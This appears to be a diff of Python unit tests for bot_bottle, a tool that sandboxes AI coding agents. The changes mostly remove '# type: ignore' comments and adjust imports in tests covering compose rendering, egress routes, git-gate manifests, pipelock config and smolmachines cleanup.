plan = type(plan)(**{**vars(plan), "use_runsc": True})
|
||||
s = bottle_plan_to_compose(plan)["services"]["agent"]
|
||||
self.assertEqual("runsc", s["runtime"])
|
||||
|
||||
@@ -310,8 +309,8 @@ class TestSidecarBundleShape(unittest.TestCase):
|
||||
+ supervise). PRD 0024 chunk 5 dropped the legacy four-sidecar
|
||||
shape entirely, so the bundle is the only thing exercised here."""
|
||||
|
||||
def _render(self, **plan_kwargs: object) -> Any: # type: ignore
|
||||
return bottle_plan_to_compose(_plan(**plan_kwargs)) # type: ignore
|
||||
def _render(self, **plan_kwargs):
|
||||
return bottle_plan_to_compose(_plan(**plan_kwargs))
|
||||
|
||||
def test_emits_two_services_minimal(self):
|
||||
spec = self._render()
|
||||
|
||||
@@ -14,6 +14,7 @@ from unittest.mock import MagicMock, patch
|
||||
|
||||
from bot_bottle.agent_provider import (
|
||||
AgentProvisionCommand,
|
||||
AgentProvisionDir,
|
||||
AgentProvisionFile,
|
||||
AgentProvisionPlan,
|
||||
)
|
||||
@@ -52,7 +53,7 @@ def _plan(
|
||||
agent_provision: AgentProvisionPlan | None = None,
|
||||
supervise: bool = False,
|
||||
) -> DockerBottlePlan:
|
||||
bottle_json: dict = {"agent_provider": {"template": "claude"}} # type: ignore
|
||||
bottle_json: dict = {"agent_provider": {"template": "claude"}}
|
||||
if supervise:
|
||||
bottle_json["supervise"] = True
|
||||
manifest = Manifest.from_json_obj({
|
||||
@@ -165,7 +166,7 @@ class TestClaudeProvisionSkills(unittest.TestCase):
|
||||
bottle = _make_bottle()
|
||||
with patch(
|
||||
"bot_bottle.backend.util.host_skill_dir",
|
||||
side_effect=lambda n: f"/host/skills/{n}", # type: ignore
|
||||
side_effect=lambda n: f"/host/skills/{n}",
|
||||
), patch(
|
||||
"bot_bottle.contrib.claude.agent_provider.os.path.isdir",
|
||||
return_value=True,
|
||||
@@ -191,7 +192,7 @@ class TestClaudeProvisionSkills(unittest.TestCase):
|
||||
bottle = _make_bottle()
|
||||
with patch(
|
||||
"bot_bottle.backend.util.host_skill_dir",
|
||||
side_effect=lambda n: f"/host/skills/{n}", # type: ignore
|
||||
side_effect=lambda n: f"/host/skills/{n}",
|
||||
), patch(
|
||||
"bot_bottle.contrib.claude.agent_provider.os.path.isdir",
|
||||
return_value=False,
|
||||
|
||||
@@ -53,7 +53,7 @@ def _plan(
|
||||
agent_provision: AgentProvisionPlan | None = None,
|
||||
supervise: bool = False,
|
||||
) -> DockerBottlePlan:
|
||||
bottle_json: dict = {"agent_provider": {"template": "codex"}} # type: ignore
|
||||
bottle_json: dict = {"agent_provider": {"template": "codex"}}
|
||||
if supervise:
|
||||
bottle_json["supervise"] = True
|
||||
manifest = Manifest.from_json_obj({
|
||||
@@ -153,7 +153,7 @@ class TestCodexProvisionSkills(unittest.TestCase):
|
||||
bottle = _make_bottle()
|
||||
with patch(
|
||||
"bot_bottle.backend.util.host_skill_dir",
|
||||
side_effect=lambda n: f"/host/skills/{n}", # type: ignore
|
||||
side_effect=lambda n: f"/host/skills/{n}",
|
||||
), patch(
|
||||
"bot_bottle.contrib.codex.agent_provider.os.path.isdir",
|
||||
return_value=True,
|
||||
|
||||
@@ -6,7 +6,9 @@ import json
|
||||
import unittest
|
||||
import urllib.error
|
||||
from io import BytesIO
|
||||
from unittest.mock import MagicMock, patch
|
||||
from pathlib import Path
|
||||
from tempfile import mkdtemp
|
||||
from unittest.mock import MagicMock, call, patch
|
||||
|
||||
from bot_bottle.contrib.gitea.deploy_key_provisioner import (
|
||||
GiteaDeployKeyProvisioner,
|
||||
@@ -20,11 +22,11 @@ def _provisioner() -> GiteaDeployKeyProvisioner:
|
||||
)
|
||||
|
||||
|
||||
def _urlopen_response(body: dict, status: int = 200) -> MagicMock: # type: ignore
|
||||
def _urlopen_response(body: dict, status: int = 200) -> MagicMock:
|
||||
resp = MagicMock()
|
||||
resp.read.return_value = json.dumps(body).encode()
|
||||
resp.status = status
|
||||
resp.__enter__ = lambda s: s # type: ignore
|
||||
resp.__enter__ = lambda s: s
|
||||
resp.__exit__ = MagicMock(return_value=False)
|
||||
return resp
|
||||
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import unittest
|
||||
from unittest.mock import patch
|
||||
|
||||
from bot_bottle.deploy_key_provisioner import DeployKeyProvisioner, get_provisioner
|
||||
from bot_bottle.manifest import ManifestError
|
||||
|
||||
@@ -99,7 +99,7 @@ class TestEnumerateActive(_FakeHomeMixin, unittest.TestCase):
|
||||
self._teardown_fake_home()
|
||||
|
||||
def _stub(self, slugs: list[str], services_by_project: dict[str, set[str]]) -> None:
|
||||
_enumerate.list_active_slugs = lambda **_: slugs # type: ignore
|
||||
_enumerate.list_active_slugs = lambda **_: slugs
|
||||
_enumerate._query_services_by_project = lambda: services_by_project
|
||||
|
||||
def test_no_active_slugs_returns_empty(self):
|
||||
|
||||
@@ -11,7 +11,7 @@ from __future__ import annotations
|
||||
import tempfile
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
from unittest.mock import MagicMock
|
||||
from unittest.mock import MagicMock, call
|
||||
|
||||
from bot_bottle.agent_provider import AgentProvisionPlan
|
||||
from bot_bottle.backend import Bottle, BottleSpec, ExecResult
|
||||
@@ -24,11 +24,11 @@ from bot_bottle.pipelock import PipelockProxyPlan
|
||||
from bot_bottle.workspace import workspace_plan
|
||||
|
||||
|
||||
def _plan(*, git_user: dict | None = None, # type: ignore
|
||||
def _plan(*, git_user: dict | None = None,
|
||||
copy_cwd: bool = False,
|
||||
user_cwd: str = "/tmp/x",
|
||||
stage_dir: Path | None = None) -> DockerBottlePlan:
|
||||
bottle_json: dict = {} # type: ignore
|
||||
bottle_json: dict = {}
|
||||
if git_user is not None:
|
||||
bottle_json["git-gate"] = {"user": git_user}
|
||||
manifest = Manifest.from_json_obj({
|
||||
|
||||
@@ -17,13 +17,13 @@ from bot_bottle.backend.docker import util as docker_mod
|
||||
from bot_bottle.workspace import WorkspacePlan
|
||||
|
||||
|
||||
def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess: # type: ignore
|
||||
def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess:
|
||||
return subprocess.CompletedProcess(
|
||||
args=[], returncode=0, stdout=stdout, stderr=stderr,
|
||||
)
|
||||
|
||||
|
||||
def _fail(stderr: str = "boom") -> subprocess.CompletedProcess: # type: ignore
|
||||
def _fail(stderr: str = "boom") -> subprocess.CompletedProcess:
|
||||
return subprocess.CompletedProcess(
|
||||
args=[], returncode=1, stdout="", stderr=stderr,
|
||||
)
|
||||
@@ -110,7 +110,7 @@ class TestBuildImageWithCwd(unittest.TestCase):
|
||||
workdir="/guest/home/workspace",
|
||||
)
|
||||
|
||||
def inspect_context(*args, **kwargs): # type: ignore
|
||||
def inspect_context(*args, **kwargs):
|
||||
context = Path(args[0][-1])
|
||||
staged = context / "workspace"
|
||||
self.assertTrue((staged / ".gitignore").is_file())
|
||||
|
||||
@@ -17,7 +17,7 @@ from bot_bottle.manifest import Manifest
|
||||
from bot_bottle.yaml_subset import parse_yaml_subset
|
||||
|
||||
|
||||
def _bottle(routes): # type: ignore
|
||||
def _bottle(routes):
|
||||
return Manifest.from_json_obj({
|
||||
"bottles": {"dev": {"egress": {"routes": routes}}},
|
||||
"agents": {"demo": {"skills": [], "prompt": "", "bottle": "dev"}},
|
||||
@@ -257,8 +257,8 @@ class TestRenderRoutes(unittest.TestCase):
|
||||
will see, not the textual layout."""
|
||||
|
||||
@staticmethod
|
||||
def _parsed(routes) -> list[dict]: # type: ignore
|
||||
return parse_yaml_subset(egress_render_routes(routes))["routes"] # type: ignore
|
||||
def _parsed(routes) -> list[dict]:
|
||||
return parse_yaml_subset(egress_render_routes(routes))["routes"]
|
||||
|
||||
def test_authenticated_route_serialised_with_auth_fields(self):
|
||||
b = _bottle([{
|
||||
|
||||
@@ -159,7 +159,7 @@ class TestMatchRoute(unittest.TestCase):
|
||||
def test_exact_match(self):
|
||||
r = match_route(self.ROUTES, "api.github.com")
|
||||
self.assertIsNotNone(r)
|
||||
self.assertEqual("api.github.com", r.host) # type: ignore
|
||||
self.assertEqual("api.github.com", r.host)
|
||||
|
||||
def test_case_insensitive(self):
|
||||
# DNS hostnames are case-insensitive per RFC 1035; mitmproxy
|
||||
@@ -167,7 +167,7 @@ class TestMatchRoute(unittest.TestCase):
|
||||
# uppercase. Lookup must normalise.
|
||||
r = match_route(self.ROUTES, "API.GitHub.COM")
|
||||
self.assertIsNotNone(r)
|
||||
self.assertEqual("api.github.com", r.host) # type: ignore
|
||||
self.assertEqual("api.github.com", r.host)
|
||||
|
||||
def test_no_match_returns_none(self):
|
||||
self.assertIsNone(match_route(self.ROUTES, "elsewhere.example"))
|
||||
@@ -370,7 +370,7 @@ class TestGitPushBlockFailFast(unittest.TestCase):
|
||||
self.send_header("Content-Length", "0")
|
||||
self.end_headers()
|
||||
|
||||
def log_message(self, _fmt, *_args): # type: ignore
|
||||
def log_message(self, _fmt, *_args):
|
||||
pass
|
||||
|
||||
server = http.server.ThreadingHTTPServer(("127.0.0.1", 0), Handler)
|
||||
|
||||
@@ -21,10 +21,10 @@ _ROUTES_EMPTY = "routes: []\n"
|
||||
_ROUTES_ONE = 'routes:\n - host: "api.anthropic.com"\n'
|
||||
|
||||
|
||||
def _routes(parsed: str) -> list[dict]: # type: ignore
|
||||
def _routes(parsed: str) -> list[dict]:
|
||||
"""Parse a YAML routes string and pull out the routes list, so
|
||||
tests can assert on shape directly."""
|
||||
return parse_yaml_subset(parsed)["routes"] # type: ignore
|
||||
return parse_yaml_subset(parsed)["routes"]
|
||||
|
||||
|
||||
class TestValidateRoutesContent(unittest.TestCase):
|
||||
|
||||
@@ -189,7 +189,7 @@ class TestGitHttpBackend(unittest.TestCase):
|
||||
try:
|
||||
urllib.request.urlopen(req, timeout=5)
|
||||
self.fail("expected HTTPError 403")
|
||||
except urllib.error.HTTPError as e: # type: ignore
|
||||
except urllib.error.HTTPError as e:
|
||||
self.assertEqual(403, e.code)
|
||||
self.assertIn(b"upstream fetch failed", e.read())
|
||||
|
||||
@@ -234,7 +234,7 @@ class TestGitHttpBackend(unittest.TestCase):
|
||||
try:
|
||||
urllib.request.urlopen(req, timeout=5)
|
||||
self.fail("expected HTTPError 403")
|
||||
except urllib.error.HTTPError as e: # type: ignore
|
||||
except urllib.error.HTTPError as e:
|
||||
self.assertEqual(403, e.code)
|
||||
|
||||
logged = buf.getvalue()
|
||||
@@ -291,7 +291,7 @@ class TestContentLengthBounds(unittest.TestCase):
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=3) as resp:
|
||||
return resp.status
|
||||
except urllib.error.HTTPError as e: # type: ignore
|
||||
except urllib.error.HTTPError as e:
|
||||
return e.code
|
||||
|
||||
def test_non_numeric_content_length_returns_400(self):
|
||||
|
||||
@@ -22,7 +22,7 @@ from pathlib import Path
|
||||
from bot_bottle.manifest import ManifestError, Manifest
|
||||
|
||||
|
||||
def _error_message(callable_, *args, **kwargs) -> str: # type: ignore
|
||||
def _error_message(callable_, *args, **kwargs) -> str:
|
||||
"""Run `callable_` expecting a ManifestError; return its message."""
|
||||
try:
|
||||
callable_(*args, **kwargs)
|
||||
@@ -31,11 +31,11 @@ def _error_message(callable_, *args, **kwargs) -> str: # type: ignore
|
||||
raise AssertionError("expected ManifestError was not raised")
|
||||
|
||||
|
||||
def _manifest(*, bottle_user=None, agent_git=None) -> Manifest: # type: ignore
|
||||
bottle: dict = {} # type: ignore
|
||||
def _manifest(*, bottle_user=None, agent_git=None) -> Manifest:
|
||||
bottle: dict = {}
|
||||
if bottle_user is not None:
|
||||
bottle = {"git-gate": {"user": bottle_user}}
|
||||
agent: dict = {"skills": [], "prompt": "", "bottle": "dev"} # type: ignore
|
||||
agent: dict = {"skills": [], "prompt": "", "bottle": "dev"}
|
||||
if agent_git is not None:
|
||||
agent["git-gate"] = agent_git
|
||||
return Manifest.from_json_obj({
|
||||
|
||||
@@ -7,17 +7,17 @@ auth omission means unauthenticated."""
|
||||
|
||||
import unittest
|
||||
|
||||
from bot_bottle.manifest import ManifestError, Manifest
|
||||
from bot_bottle.manifest import ManifestError, EgressRoute, Manifest
|
||||
|
||||
|
||||
def _bottle(routes): # type: ignore
|
||||
def _bottle(routes):
|
||||
return Manifest.from_json_obj({
|
||||
"bottles": {"dev": {"egress": {"routes": routes}}},
|
||||
"agents": {"demo": {"skills": [], "prompt": "", "bottle": "dev"}},
|
||||
}).bottles["dev"]
|
||||
|
||||
|
||||
def _provider_bottle(provider, routes): # type: ignore
|
||||
def _provider_bottle(provider, routes):
|
||||
return Manifest.from_json_obj({
|
||||
"bottles": {
|
||||
"dev": {
|
||||
@@ -29,7 +29,7 @@ def _provider_bottle(provider, routes): # type: ignore
|
||||
}).bottles["dev"]
|
||||
|
||||
|
||||
def _provider_config_bottle(agent_provider): # type: ignore
|
||||
def _provider_config_bottle(agent_provider):
|
||||
return Manifest.from_json_obj({
|
||||
"bottles": {"dev": {"agent_provider": agent_provider}},
|
||||
"agents": {"demo": {"skills": [], "prompt": "", "bottle": "dev"}},
|
||||
|
||||
@@ -15,7 +15,7 @@ import unittest
|
||||
from bot_bottle.manifest import ManifestError, Manifest
|
||||
|
||||
|
||||
def _error_message(callable_, *args, **kwargs) -> str: # type: ignore
|
||||
def _error_message(callable_, *args, **kwargs) -> str:
|
||||
"""Run `callable_` expecting a ManifestError; return its message."""
|
||||
try:
|
||||
callable_(*args, **kwargs)
|
||||
@@ -24,7 +24,7 @@ def _error_message(callable_, *args, **kwargs) -> str: # type: ignore
|
||||
raise AssertionError("expected ManifestError was not raised")
|
||||
|
||||
|
||||
def _build(**bottles) -> Manifest: # type: ignore
|
||||
def _build(**bottles) -> Manifest:
|
||||
"""Build a manifest with the given bottles and one trivial agent
|
||||
referencing the first bottle (so the manifest is valid)."""
|
||||
first = next(iter(bottles))
|
||||
|
||||
@@ -5,7 +5,7 @@ import unittest
|
||||
from bot_bottle.manifest import ManifestError, Manifest
|
||||
|
||||
|
||||
def _manifest(repos: dict) -> dict: # type: ignore
|
||||
def _manifest(repos: dict) -> dict:
|
||||
return {
|
||||
"bottles": {"dev": {"git-gate": {"repos": repos}}},
|
||||
"agents": {"demo": {"skills": [], "prompt": "", "bottle": "dev"}},
|
||||
|
||||
@@ -5,7 +5,7 @@ import unittest
|
||||
from bot_bottle.manifest import ManifestError, GitUser, Manifest
|
||||
|
||||
|
||||
def _error_message(callable_, *args, **kwargs) -> str: # type: ignore
|
||||
def _error_message(callable_, *args, **kwargs) -> str:
|
||||
"""Run `callable_` expecting a ManifestError; return its message."""
|
||||
try:
|
||||
callable_(*args, **kwargs)
|
||||
@@ -14,7 +14,7 @@ def _error_message(callable_, *args, **kwargs) -> str: # type: ignore
|
||||
raise AssertionError("expected ManifestError was not raised")
|
||||
|
||||
|
||||
def _manifest(git_user): # type: ignore
|
||||
def _manifest(git_user):
|
||||
return {
|
||||
"bottles": {"dev": {"git-gate": {"user": git_user}}},
|
||||
"agents": {"demo": {"skills": [], "prompt": "", "bottle": "dev"}},
|
||||
|
||||
@@ -15,14 +15,14 @@ from bot_bottle.pipelock import (
|
||||
)
|
||||
|
||||
|
||||
def _bottle(spec): # type: ignore
|
||||
def _bottle(spec):
|
||||
return Manifest.from_json_obj({
|
||||
"bottles": {"dev": spec},
|
||||
"agents": {"demo": {"skills": [], "prompt": "", "bottle": "dev"}},
|
||||
}).bottles["dev"]
|
||||
|
||||
|
||||
def _routes(routes): # type: ignore
|
||||
def _routes(routes):
|
||||
return {"egress": {"routes": routes}}
|
||||
|
||||
|
||||
|
||||
@@ -74,7 +74,7 @@ class TestYamlRoundtripPreservesPipelockFields(unittest.TestCase):
|
||||
"dlp": {"include_defaults": True, "scan_env": True},
|
||||
"request_body_scanning": {"action": "block"},
|
||||
}
|
||||
rendered = pipelock_render_yaml(cfg) # type: ignore
|
||||
rendered = pipelock_render_yaml(cfg)
|
||||
parsed = parse_yaml_subset(rendered)
|
||||
self.assertEqual(["a.example", "b.example"], parsed["api_allowlist"])
|
||||
self.assertEqual(1, parsed["version"])
|
||||
@@ -97,7 +97,7 @@ class TestYamlRoundtripPreservesPipelockFields(unittest.TestCase):
|
||||
"passthrough_domains": ["api.anthropic.com"],
|
||||
},
|
||||
}
|
||||
parsed = parse_yaml_subset(pipelock_render_yaml(cfg)) # type: ignore
|
||||
parsed = parse_yaml_subset(pipelock_render_yaml(cfg))
|
||||
parsed["api_allowlist"] = ["new.example"]
|
||||
rerendered = pipelock_render_yaml(parsed)
|
||||
roundtripped = parse_yaml_subset(rerendered)
|
||||
|
||||
@@ -10,7 +10,7 @@ import os
|
||||
import tempfile
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
from typing import cast
|
||||
from typing import Any, cast
|
||||
|
||||
from bot_bottle.manifest import Manifest
|
||||
from bot_bottle.pipelock import (
|
||||
|
||||
@@ -220,11 +220,7 @@ class TestEgressPrintParity(unittest.TestCase):
|
||||
indent_prefix = ln[:idx]
|
||||
result.append(ln)
|
||||
elif collecting:
|
||||
if (
|
||||
ln.startswith(indent_prefix) # type: ignore
|
||||
and "egress" not in ln
|
||||
and ":" not in ln.lstrip()[:20]
|
||||
):
|
||||
if ln.startswith(indent_prefix) and "egress" not in ln and ":" not in ln.lstrip()[:20]:
|
||||
result.append(ln)
|
||||
else:
|
||||
break
|
||||
|
||||
@@ -18,7 +18,7 @@ from bot_bottle.backend.smolmachines.bottle_cleanup_plan import (
|
||||
)
|
||||
|
||||
|
||||
def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess: # type: ignore
|
||||
def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess:
|
||||
return subprocess.CompletedProcess(
|
||||
args=[], returncode=0, stdout=stdout, stderr=stderr,
|
||||
)
|
||||
@@ -35,7 +35,7 @@ class TestPrepareCleanup(unittest.TestCase):
|
||||
self.assertTrue(plan.empty)
|
||||
|
||||
def test_lists_machines_bundles_networks(self):
|
||||
def fake_run(argv, *a, **kw): # type: ignore
|
||||
def fake_run(argv, *a, **kw):
|
||||
if argv[:3] == ["smolvm", "machine", "ls"]:
|
||||
return _ok(stdout=(
|
||||
'[{"name":"bot-bottle-a-1","state":"running"},'
|
||||
@@ -92,7 +92,7 @@ class TestCleanup(unittest.TestCase):
|
||||
)
|
||||
calls: list[list[str]] = []
|
||||
|
||||
def fake_run(argv, *a, **kw): # type: ignore
|
||||
def fake_run(argv, *a, **kw):
|
||||
calls.append(list(argv[:4]))
|
||||
return _ok()
|
||||
|
||||
@@ -124,13 +124,11 @@ class TestCleanup(unittest.TestCase):
|
||||
)
|
||||
results = iter([
|
||||
_ok(), # stop succeeds
|
||||
subprocess.CompletedProcess(
|
||||
args=[], returncode=1, stdout="", stderr="boom"
|
||||
), # delete fails
|
||||
subprocess.CompletedProcess(args=[], returncode=1, stdout="", stderr="boom"), # delete fails
|
||||
_ok(), # bundle rm succeeds
|
||||
])
|
||||
|
||||
def fake_run(argv, *a, **kw): # type: ignore
|
||||
def fake_run(argv, *a, **kw):
|
||||
return next(results)
|
||||
|
||||
with patch.object(cleanup.subprocess, "run", side_effect=fake_run), \
|
||||
|
||||
@@ -76,19 +76,19 @@ class TestEnsureSmolmachine(unittest.TestCase):
|
||||
)
|
||||
|
||||
class _Reg:
|
||||
def __enter__(self_inner): # type: ignore
|
||||
def __enter__(self_inner):
|
||||
return RegistryHandle(
|
||||
network="cb-net-xyz",
|
||||
push_endpoint="cb-registry-xyz:5000",
|
||||
pull_endpoint="localhost:54321",
|
||||
)
|
||||
def __exit__(self_inner, *exc): # type: ignore
|
||||
def __exit__(self_inner, *exc):
|
||||
return False
|
||||
|
||||
calls: list[str] = []
|
||||
|
||||
def record(name): # type: ignore
|
||||
def _f(*a, **kw): # type: ignore
|
||||
def record(name):
|
||||
def _f(*a, **kw):
|
||||
calls.append(name)
|
||||
return _f
|
||||
|
||||
|
||||
@@ -15,13 +15,13 @@ from unittest.mock import patch
|
||||
from bot_bottle.backend.smolmachines import local_registry
|
||||
|
||||
|
||||
def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess: # type: ignore
|
||||
def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess:
|
||||
return subprocess.CompletedProcess(
|
||||
args=[], returncode=0, stdout=stdout, stderr=stderr,
|
||||
)
|
||||
|
||||
|
||||
def _fail(stderr: str = "boom") -> subprocess.CompletedProcess: # type: ignore
|
||||
def _fail(stderr: str = "boom") -> subprocess.CompletedProcess:
|
||||
return subprocess.CompletedProcess(
|
||||
args=[], returncode=1, stdout="", stderr=stderr,
|
||||
)
|
||||
@@ -149,7 +149,7 @@ class TestEphemeralRegistry(unittest.TestCase):
|
||||
def test_unique_session_ids_per_call(self):
|
||||
sessions: list[tuple[str, str]] = []
|
||||
|
||||
def capture(argv, *a, **kw): # type: ignore
|
||||
def capture(argv, *a, **kw):
|
||||
if argv[:3] == ["docker", "network", "create"]:
|
||||
return _ok()
|
||||
if argv[:2] == ["docker", "run"]:
|
||||
@@ -242,7 +242,7 @@ class _FakeSocket:
|
||||
def __enter__(self):
|
||||
return self
|
||||
|
||||
def __exit__(self, *exc): # type: ignore
|
||||
def __exit__(self, *exc):
|
||||
return False
|
||||
|
||||
|
||||
|
||||
@@ -11,6 +11,7 @@ import json
|
||||
import sqlite3
|
||||
import subprocess
|
||||
import tempfile
|
||||
import threading
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
from unittest.mock import patch
|
||||
@@ -18,13 +19,13 @@ from unittest.mock import patch
|
||||
from bot_bottle.backend.smolmachines import loopback_alias
|
||||
|
||||
|
||||
def _ok(stdout: str = "") -> subprocess.CompletedProcess: # type: ignore
|
||||
def _ok(stdout: str = "") -> subprocess.CompletedProcess:
|
||||
return subprocess.CompletedProcess(
|
||||
args=[], returncode=0, stdout=stdout, stderr="",
|
||||
)
|
||||
|
||||
|
||||
def _fail(stderr: str = "boom") -> subprocess.CompletedProcess: # type: ignore
|
||||
def _fail(stderr: str = "boom") -> subprocess.CompletedProcess:
|
||||
return subprocess.CompletedProcess(
|
||||
args=[], returncode=1, stdout="", stderr=stderr,
|
||||
)
|
||||
@@ -78,7 +79,7 @@ class TestEnsurePool(unittest.TestCase):
|
||||
# lo0 only has 16+17 already; sudo runs for 18..31 (14 missing).
|
||||
runs: list[list[str]] = []
|
||||
|
||||
def fake_run(argv, *a, **kw): # type: ignore
|
||||
def fake_run(argv, *a, **kw):
|
||||
runs.append(argv)
|
||||
if argv[:2] == ["/sbin/ifconfig", "lo0"]:
|
||||
return _ok(stdout=_LO0_PARTIAL)
|
||||
@@ -97,7 +98,7 @@ class TestEnsurePool(unittest.TestCase):
|
||||
)
|
||||
|
||||
def test_sudo_failure_dies(self):
|
||||
def fake_run(argv, *a, **kw): # type: ignore
|
||||
def fake_run(argv, *a, **kw):
|
||||
if argv[:2] == ["/sbin/ifconfig", "lo0"]:
|
||||
return _ok(stdout=_LO0_DEFAULT)
|
||||
if argv[:1] == ["sudo"]:
|
||||
@@ -152,7 +153,7 @@ class TestAllocateLock(unittest.TestCase):
|
||||
import fcntl as fcntl_mod
|
||||
flock_calls: list[int] = []
|
||||
|
||||
def record_flock(fd, op): # type: ignore
|
||||
def record_flock(fd, op):
|
||||
flock_calls.append(op)
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
|
||||
@@ -46,7 +46,7 @@ class TestSmolmachinesResolveEnv(unittest.TestCase):
|
||||
orig_root = _sup.bot_bottle_root
|
||||
_sup.bot_bottle_root = lambda: Path(tmp) / ".bot-bottle" # type: ignore[assignment]
|
||||
|
||||
host_env = {**os.environ, **(extra_host_env or {})} # type: ignore
|
||||
host_env = {**os.environ, **(extra_host_env or {})}
|
||||
|
||||
try:
|
||||
with (
|
||||
@@ -59,15 +59,13 @@ class TestSmolmachinesResolveEnv(unittest.TestCase):
|
||||
patch("bot_bottle.backend.smolmachines.prepare.PipelockProxy") as mock_pl,
|
||||
patch("bot_bottle.backend.smolmachines.prepare.Egress") as mock_eg,
|
||||
patch("bot_bottle.backend.smolmachines.prepare.Supervise"),
|
||||
patch(
|
||||
"bot_bottle.backend.smolmachines.prepare.agent_provision_plan"
|
||||
) as mock_app,
|
||||
patch("bot_bottle.backend.smolmachines.prepare.agent_provision_plan") as mock_app,
|
||||
patch("bot_bottle.backend.smolmachines.prepare.runtime_for"),
|
||||
):
|
||||
mock_gg.return_value.prepare.return_value = MagicMock()
|
||||
mock_pl.return_value.prepare.return_value = MagicMock()
|
||||
mock_eg.return_value.prepare.return_value = MagicMock()
|
||||
def _make_provision(**kwargs): # type: ignore
|
||||
def _make_provision(**kwargs):
|
||||
return AgentProvisionPlan(
|
||||
template="claude",
|
||||
command="claude",
|
||||
@@ -76,7 +74,7 @@ class TestSmolmachinesResolveEnv(unittest.TestCase):
|
||||
image="bot-bottle-claude:latest",
|
||||
guest_env=dict(kwargs.get("guest_env") or {}),
|
||||
)
|
||||
mock_app.side_effect = lambda **kw: _make_provision(**kw) # type: ignore
|
||||
mock_app.side_effect = lambda **kw: _make_provision(**kw)
|
||||
|
||||
from bot_bottle.backend.smolmachines.prepare import resolve_plan
|
||||
plan = resolve_plan(spec, stage_dir=stage)
|
||||
|
||||
@@ -55,7 +55,7 @@ def _exec_scripts(bottle: MagicMock) -> list[str]:
|
||||
return [c.args[0] for c in bottle.exec.call_args_list]
|
||||
|
||||
|
||||
def _exec_users(bottle: MagicMock) -> list[str]: # type: ignore
|
||||
def _exec_users(bottle: MagicMock) -> list[str]:
|
||||
"""user= kwarg from each bottle.exec call, in order."""
|
||||
return [c.kwargs.get("user", "node") for c in bottle.exec.call_args_list]
|
||||
|
||||
@@ -64,8 +64,8 @@ def _plan(
|
||||
*,
|
||||
agent_prompt: str = "",
|
||||
skills: list[str] | None = None,
|
||||
git: list[GitEntry] = (), # type: ignore
|
||||
git_user: dict | None = None, # type: ignore
|
||||
git: list[GitEntry] = (),
|
||||
git_user: dict | None = None,
|
||||
copy_cwd: bool = False,
|
||||
user_cwd: str = "/tmp/x",
|
||||
stage_dir: Path | None = None,
|
||||
@@ -80,8 +80,8 @@ def _plan(
|
||||
agent_provider_template: str = "claude",
|
||||
guest_env: dict[str, str] | None = None,
|
||||
) -> SmolmachinesBottlePlan:
|
||||
bottle_json: dict = {} # type: ignore
|
||||
git_gate_json: dict = {} # type: ignore
|
||||
bottle_json: dict = {}
|
||||
git_gate_json: dict = {}
|
||||
if git:
|
||||
git_gate_json["repos"] = {
|
||||
g.Name: {
|
||||
|
||||
@@ -85,7 +85,7 @@ class TestReadWinsize(unittest.TestCase):
|
||||
|
||||
calls: list[int] = []
|
||||
|
||||
def fake_ioctl(fd, req, buf): # type: ignore
|
||||
def fake_ioctl(fd, req, buf):
|
||||
calls.append(fd)
|
||||
if fd == 0:
|
||||
raise OSError("stdin not a tty")
|
||||
@@ -105,7 +105,7 @@ class TestReadWinsize(unittest.TestCase):
|
||||
struct.pack("hhhh", 24, 80, 0, 0), # stdout: real
|
||||
])
|
||||
|
||||
def fake_ioctl(fd, req, buf): # type: ignore
|
||||
def fake_ioctl(fd, req, buf):
|
||||
return next(responses)
|
||||
|
||||
with patch.object(pty_resize.fcntl, "ioctl", side_effect=fake_ioctl):
|
||||
@@ -153,7 +153,7 @@ class TestStartupSyncDeferred(unittest.TestCase):
|
||||
self.assertEqual(0, rc)
|
||||
# Timer scheduled with the documented delay constant.
|
||||
timer_cls.assert_called_once()
|
||||
delay, callback = timer_cls.call_args.args # type: ignore
|
||||
delay, callback = timer_cls.call_args.args
|
||||
self.assertEqual(pty_resize._STARTUP_SYNC_DELAY_SEC, delay)
|
||||
# _push_size never called synchronously — the only path to
|
||||
# it is via the (mocked) timer's callback firing.
|
||||
|
||||
@@ -24,19 +24,19 @@ from bot_bottle.backend.smolmachines.sidecar_bundle import (
|
||||
)
|
||||
|
||||
|
||||
def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess: # type: ignore
|
||||
def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess:
|
||||
return subprocess.CompletedProcess(
|
||||
args=[], returncode=0, stdout=stdout, stderr=stderr,
|
||||
)
|
||||
|
||||
|
||||
def _fail(stderr: str = "boom") -> subprocess.CompletedProcess: # type: ignore
|
||||
def _fail(stderr: str = "boom") -> subprocess.CompletedProcess:
|
||||
return subprocess.CompletedProcess(
|
||||
args=[], returncode=1, stdout="", stderr=stderr,
|
||||
)
|
||||
|
||||
|
||||
def _spec(**kwargs) -> BundleLaunchSpec: # type: ignore
|
||||
def _spec(**kwargs) -> BundleLaunchSpec:
|
||||
defaults = dict(
|
||||
slug="demo-abc12",
|
||||
network_name="bot-bottle-bundle-demo-abc12",
|
||||
@@ -45,7 +45,7 @@ def _spec(**kwargs) -> BundleLaunchSpec: # type: ignore
|
||||
bundle_ip="192.168.50.2",
|
||||
)
|
||||
defaults.update(kwargs)
|
||||
return BundleLaunchSpec(**defaults) # type: ignore
|
||||
return BundleLaunchSpec(**defaults)
|
||||
|
||||
|
||||
class TestNamingHelpers(unittest.TestCase):
|
||||
@@ -69,7 +69,7 @@ class TestNamingHelpers(unittest.TestCase):
|
||||
|
||||
|
||||
class TestNetworkLifecycle(unittest.TestCase):
|
||||
def _patch_run(self, **kwargs): # type: ignore
|
||||
def _patch_run(self, **kwargs):
|
||||
return patch(
|
||||
"bot_bottle.backend.smolmachines.sidecar_bundle.subprocess.run",
|
||||
**kwargs,
|
||||
@@ -200,7 +200,7 @@ class TestEnsureBundleImage(unittest.TestCase):
|
||||
|
||||
|
||||
